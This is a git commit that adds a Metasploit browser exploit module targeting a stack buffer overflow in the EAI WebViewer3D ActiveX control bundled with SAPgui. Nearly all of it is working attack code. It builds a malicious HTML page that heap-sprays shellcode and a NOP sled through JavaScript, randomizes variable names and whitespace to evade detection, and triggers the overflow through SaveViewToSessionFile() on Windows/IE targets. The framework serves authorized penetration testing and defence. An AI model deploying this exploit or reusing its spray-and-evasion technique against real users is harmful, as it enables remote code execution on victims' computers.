added exploit module sapgui_saveviewtosessionfile.rb

git-svn-id: file:///home/svn/framework3/trunk@6455 4d416f70-5f16-0410-b530-b9f4589650da
2009-04-02 20:43:06 +00:00 · 2009-04-02 20:43:06 +00:00 · 3c54e15590
parent 67ab1cca92
commit 3c54e15590
1 changed files with 113 additions and 0 deletions
--- a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb
+++ b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb
@ -0,0 +1,113 @@
+###
+## This file is part of the Metasploit Framework and may be subject to
+## redistribution and commercial restrictions. Please see the Metasploit
+## Framework web site for more information on licensing and terms of use.
+## http://metasploit.com/projects/Framework/
+###
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack overflow in Siemens Unigraphics Solutions
+					Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled
+					with SAPgui. When passing an overly long string the SaveViewToSessionFile()
+					method, arbitrary code may be executed.
+				},
+			'License'        => MSF_LICENSE,
+			'Author'         => [ 'MC' ], 
+			'Version'        => '$Revision:$',
+			'References'     => 
+				[
+					[ 'US-CERT-VU','985449' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 1024,
+					'BadChars'      => "\x00",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]	
+				],
+			'DisclosureDate' => 'Mar 31 2009',
+			'DefaultTarget'  => 0))
+	end
+
+	def autofilter
+		false
+	end
+
+	def check_dependencies
+		use_zlib
+	end
+
+	def on_request_uri(cli, request)
+		# Re-generate the payload.
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Encode the shellcode.
+		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
+		
+		# Create some nops.	
+		nops    = Rex::Text.to_unescape(make_nops(4))
+	
+		# Set the return.
+		ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
+				
+		# Randomize the javascript variable names.
+		vname  = rand_text_alpha(rand(100) + 1)
+		var_i  = rand_text_alpha(rand(30)  + 2)
+		rand1  = rand_text_alpha(rand(100) + 1)
+		rand2  = rand_text_alpha(rand(100) + 1)
+		rand3  = rand_text_alpha(rand(100) + 1)
+		rand4  = rand_text_alpha(rand(100) + 1)
+		rand5  = rand_text_alpha(rand(100) + 1)
+		rand6  = rand_text_alpha(rand(100) + 1)
+		rand7  = rand_text_alpha(rand(100) + 1)
+		rand8  = rand_text_alpha(rand(100) + 1)
+
+		content = %Q|
+		<html>
+			<object id='#{vname}' classid='clsid:AFBBE070-7340-11D2-AA6B-00E02924C34E'></object>
+			<script language="JavaScript">
+				var #{rand1} = unescape('#{shellcode}');
+				var #{rand2} = unescape('#{nops}');
+				var #{rand3} = 20;
+				var #{rand4} = #{rand3} + #{rand1}.length;
+				while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
+				var #{rand5} = #{rand2}.substring(0,#{rand4});
+				var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
+				while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
+				var #{rand7} = new Array();
+				for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
+				var #{rand8} = "";
+				for (#{var_i} = 0; #{var_i} < 12500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
+				#{vname}.SaveViewToSessionFile(#{rand8});
+			</script>
+		</html>
+			|
+
+		content = Rex::Text.randomize_space(content)
+
+		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
+
+		# Transmit the response to the client
+		send_response_html(cli, content)
+		
+		# Handle the payload
+		handler(cli)
+	end
+
+end